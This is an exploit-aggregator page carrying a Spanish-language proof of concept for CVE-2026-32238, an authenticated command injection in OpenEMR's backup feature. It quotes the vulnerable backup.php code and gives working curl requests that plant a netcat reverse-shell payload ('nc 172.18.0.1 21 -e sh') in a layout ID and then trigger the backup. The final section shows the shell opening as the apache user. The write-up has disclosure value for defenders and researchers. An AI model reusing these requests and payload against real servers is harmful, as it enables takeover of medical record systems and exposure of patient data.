Sploitus

Exploit for CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0

kitploit · 2026-09-02

Exploit Code

MARKDOWN264 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CHRISSUB08-CVE-2026-32238_REMOTECODEEXECUTIONOPENEMR8.0.0
# CVE-2026-32238 - Ejecución remota de código en OpenEMR <8.0.0.2

> Debilidad CWE-78 : Neutralización incorrecta de elementos especiales utilizados en un comando del sistema operativo ('Inyección de comandos del sistema operativo')
>
>> El producto construye todo o parte de un comando del sistema operativo utilizando entradas influenciadas externamente desde un componente upstream, pero no neutraliza o neutraliza incorrectamente los elementos especiales que podrían modificar el comando del sistema operativo previsto cuando se envía a un componente downstream.

### Resumen

OpenEMR <8.0.0.1 contiene múltiples vulnerabilidades de inyección de comandos en la funcionalidad de respaldo que pueden ser explotadas por atacantes autenticados. La vulnerabilidad existe debido a una validación de entrada insuficiente en la funcionalidad de respaldo.

### Detalles

La vulnerabilidad se produce en la funcionalidad de respaldo donde múltiples _ID_ se escapan a nivel SQL en una sentencia SQL incrustada dentro del comando del sistema operativo, pero no se escapan a nivel de shell.  
Esos valores _ID_ se consideran _confiables_ después de verificar que las entradas proporcionadas por el usuario existen en la base de datos.  
El usuario puede insertar cualquier valor en esas columnas SQL _ID_ que se concatenan al comando shell.  
Resumen: ciertos comandos shell concatenan entradas proporcionadas por el usuario sin la sanitización adecuada, lo que puede provocar vulnerabilidades de inyección de comandos. Esto permite a los atacantes inyectar comandos maliciosos del sistema operativo.

La vulnerabilidad afecta a las siguientes líneas:

  * `interface/main/backup.php` lines 775, 776, 784, 786, 788 and 789 vulnerabilidades 
    * `interface/main/backup.php` line 768, comprueba que el valor existe.
    * `interface/main/backup.php` line 763, comprueba que el valor no contiene _backtick_.
    * `interface/main/backup.php` line 761, bucle para cada valor.
    * `interface/main/backup.php` line 742, obtiene los valores de los datos POST.
  * `interface/main/backup.php` line 816, 818, 822, 824, 828, 831, 835 and 838 vulnerabilidades 
    * `interface/main/backup.php` line 807 and 808, comprueba que el valor existe.
    * `interface/main/backup.php` line 802, comprueba que el valor no contiene _backtick_.
    * `interface/main/backup.php` line 800, bucle para cada valor de los datos POST.



Para explotar estas vulnerabilidades, la carga útil debe almacenarse en: `list_options.option_id`, `list_options.list_id`, `layout_options.form_id` o `layout_group_properties.grp_form_id`.

root@kitploit:~
    
    
            if (!empty($form_sel_lists)) {
                foreach ($form_sel_lists as $listid) {
                    if (str_contains((string) $listid, '`')) {
                        continue;
                    }
                    $listid_check = sqlQuery("SELECT `list_id` FROM `list_options` WHERE `list_id` = ? OR `option_id` = ?", [$listid, $listid]);
                    if (empty($listid_check['list_id'])) {
                        continue;
                    }
                    if (IS_WINDOWS) {
                        $cmd .= " echo 'DELETE FROM list_options WHERE list_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . " & ";
                        $cmd .= " echo 'DELETE FROM list_options WHERE list_id = 'lists' AND option_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . " & ";
                        $cmd .= $dumppfx . " --where=\"list_id = 'lists' AND option_id = '$listid' OR list_id = '$listid' " .
                            "ORDER BY list_id != 'lists', seq, title\" " .
                            escapeshellarg((string) $sqlconf["dbase"]) . " list_options";
                        $cmd .=  " >> " . escapeshellarg($EXPORT_FILE) . " & ";
                    } else {
                        $cmdarr[] = "echo 'DELETE FROM list_options WHERE list_id = \"" .
                            add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";" .
                            "echo 'DELETE FROM list_options WHERE list_id = \"lists\" AND option_id = \"" .
                            add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";" .
                            $dumppfx . " --where='list_id = \"lists\" AND option_id = \"" .
                            add_escape_custom($listid) . "\" OR list_id = \"" .
                            add_escape_custom($listid) . "\" " . "ORDER BY list_id != \"lists\", seq, title' " .
                            escapeshellarg((string) $sqlconf["dbase"]) . " list_options" .
                            " >> " . escapeshellarg($EXPORT_FILE) . ";";
                    }
                }
            }
    
            if (is_array($_POST['form_sel_layouts'] ?? '')) {
                $do_history_repair = false;
                $do_demographics_repair = false;
                foreach ($_POST['form_sel_layouts'] as $layoutid) {
                    if (str_contains((string) $layoutid, '`')) {
                        continue;
                    }
                    $layoutid_check_one = sqlQuery("SELECT `form_id` FROM `layout_options` WHERE `form_id` = ?", [$layoutid]);
                    $layoutid_check_two = sqlQuery("SELECT `grp_form_id` FROM `layout_group_properties` WHERE `grp_form_id` = ?", [$layoutid]);
                    if (empty($layoutid_check_one['list_id']) && empty($layoutid_check_two['grp_form_id'])) {
                        continue;
                    }
                    if (IS_WINDOWS) {
                        $cmd .= " echo DELETE FROM layout_options WHERE form_id = \"" . add_escape_custom($layoutid) . "\"; >> " . escapeshellarg($EXPORT_FILE) . " & ";
                    } else {
                        $cmd .= "echo 'DELETE FROM layout_options WHERE form_id = \"" . add_escape_custom($layoutid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";";
                    }
                    if (IS_WINDOWS) {
                        $cmd .= "echo DELETE FROM layout_group_properties WHERE grp_form_id = \"" . add_escape_custom($layoutid) . "\"; >> " . escapeshellarg($EXPORT_FILE) . " &;";
                    } else {
                        $cmd .= "echo 'DELETE FROM layout_group_properties WHERE grp_form_id = \"" . add_escape_custom($layoutid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";";
                    }
                    if (IS_WINDOWS) {
                        $cmd .= $dumppfx . ' --where="grp_form_id = \'' . add_escape_custom($layoutid) . "'\" " .
                            escapeshellarg((string) $sqlconf["dbase"]) . " layout_group_properties";
                        $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & ";
                        $cmd .= $dumppfx . ' --where="form_id = \'' . add_escape_custom($layoutid) . '\' ORDER BY group_id, seq, title" '  .
                            escapeshellarg((string) $sqlconf["dbase"]) . " layout_options" ;
                        $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & ";
                    } else {
                        $cmd .= $dumppfx . " --where='grp_form_id = \"" . add_escape_custom($layoutid) . "\"' " .
                            escapeshellarg((string) $sqlconf["dbase"]) . " layout_group_properties";
                        $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . ";";
                        $cmd .= $dumppfx . " --where='form_id = \"" . add_escape_custom($layoutid) . "\" ORDER BY group_id, seq, title' " .
                            escapeshellarg((string) $sqlconf["dbase"]) . " layout_options" ;
                        $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . ";";
                    }
                    if (str_starts_with((string) $layoutid, 'HIS')) {
                        $do_history_repair = true;
                    }
                    if (str_starts_with((string) $layoutid, 'DEM')) {
                        $do_demographics_repair = true;
                    }
                }
    

root@kitploit:~
    
    
    echo 'SET character_set_client = utf8;' > '/tmp/openemr_config.sql';echo 'DELETE FROM layout_options WHERE form_id = "<injection>";' >> '/tmp/openemr_config.sql';echo 'DELETE FROM layout_group_properties WHERE grp_form_id = "<injection>";' >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments  --where='grp_form_id = "<injection>"' 'openemr' layout_group_properties >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments  --where='form_id = "<injection>" ORDER BY group_id, seq, title' 'openemr' layout_options >> '/tmp/openemr_config.sql';
    

#### Permisos

root@kitploit:~
    
    
    if (!AclMain::aclCheckCore('admin', 'super')) {
        echo (new TwigContainer(null, $GLOBALS['kernel']))->getTwig()->render('core/unauthorized.html.twig', ['pageTitle' => xl("Backup")]);
        exit;
    }
    

### PoC

Para esta POC utilizo la columna `layout_group_properties.grp_form_id`:

  1. Inserta la carga útil en `layout_group_properties.grp_form_id`
  2. Llama a la funcionalidad de respaldo utilizando la misma carga útil



root@kitploit:~
    
    
    ┌──(kali㉿kali)-[~]
    └─$ curl -k -b "OpenEMR=de5348462330a02590ba31c91b2df758" --data 'csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c&formaction=addgroup&newgroupname=1&newgroupparent=1&&layout_id=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://172.18.0.3/interface/super/edit_layout.php'
    
    ┌──(kali㉿kali)-[~]
    └─$ curl -k -b "OpenEMR=de5348462330a02590ba31c91b2df758" --data 'csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c&form_step=102&form_cb_addlists=1&form_sel_lists[]=userlist1&form_sel_lists[]=userlist2&form_sel_lists[]=userlist3&form_sel_lists[]=LA28397-0&form_sel_layouts[]=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://172.18.0.3/interface/main/backup.php'
    
    ┌──(kali㉿kali)-[~]
    └─$ 
    

#### Base de datos

root@kitploit:~
    
    
    MariaDB [openemr]> SELECT grp_form_id, grp_group_id FROM layout_group_properties;
    +--------------------------------+--------------+
    | grp_form_id                    | grp_group_id |
    +--------------------------------+--------------+
    | DEM                            |              |
    | DEM                            | 1            |
    | DEM                            | 2            |
    | DEM                            | 3            |
    | DEM                            | 4            |
    | DEM                            | 5            |
    | DEM                            | 6            |
    | DEM                            | 8            |
    | FACUSR                         |              |
    | FACUSR                         | 1            |
    | HIS                            |              |
    | HIS                            | 1            |
    | HIS                            | 2            |
    | HIS                            | 3            |
    | HIS                            | 4            |
    | HIS                            | 5            |
    | LBF"';nc 172.18.0.1 21 -e sh # | 11           |
    | LBTbill                        |              |
    | LBTbill                        | 1            |
    | LBTlegal                       |              |
    | LBTlegal                       | 1            |
    | LBTphreq                       |              |
    | LBTphreq                       | 1            |
    | LBTptreq                       |              |
    | LBTptreq                       | 1            |
    | LBTref                         |              |
    | LBTref                         | 1            |
    | LBTref                         | 2            |
    +--------------------------------+--------------+
    28 rows in set (0.003 sec)
    
    MariaDB [openemr]> 
    

#### Carga útil de reverse shell

root@kitploit:~
    
    
    nc 172.18.0.1 21 -e sh
    

##### Inyección

root@kitploit:~
    
    
    LBF"';nc 172.18.0.1 21 -e sh #
    

##### Comando final

root@kitploit:~
    
    
    echo 'SET character_set_client = utf8;' > '/tmp/openemr_config.sql';echo 'DELETE FROM layout_options WHERE form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #";' >> '/tmp/openemr_config.sql';echo 'DELETE FROM layout_group_properties WHERE grp_form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #";' >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments  --where='grp_form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #"' 'openemr' layout_group_properties >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments  --where='form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #" ORDER BY group_id, seq, title' 'openemr' layout_options >> '/tmp/openemr_config.sql';
    

##### Herramientas

No sé si netcat (`nc`) es necesario, pero está instalado por defecto en el contenedor docker (es muy útil para este exploit).

##### Usuario y directorio actual

root@kitploit:~
    
    
    ┌──(root㉿kali)-[/home/kali]
    └─# nc -lvnp 21 
    listening on [any] 21 ...
    connect to [172.18.0.1] from (UNKNOWN) [172.18.0.3] 44041
    whoami
    apache
    id
    uid=1000(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)
    pwd
    /var/www/localhost/htdocs/openemr/interface/main
    

### Impacto

  * Ejecución de código en el lado del servidor



### Proceso de corrección de la vulnerabilidad

  1. Evaluar y validar la vulnerabilidad
  2. Solicitar o asignar un ID de CVE
  3. Crear un fork o una rama privada
  4. Desarrollar la corrección
  5. Escribir pruebas de regresión y de seguridad
  6. Preparar las notas de la versión y el borrador del aviso de seguridad
  7. Publicar la corrección (fusión de código) y lanzar una versión parcheada
  8. Divulgar públicamente la vulnerabilidad



### Créditos

  * Investigador: Christophe SUBLET
  * Organización: Grenoble INP - Esisar, UGA
  * Proyecto: CyberSkills, Orion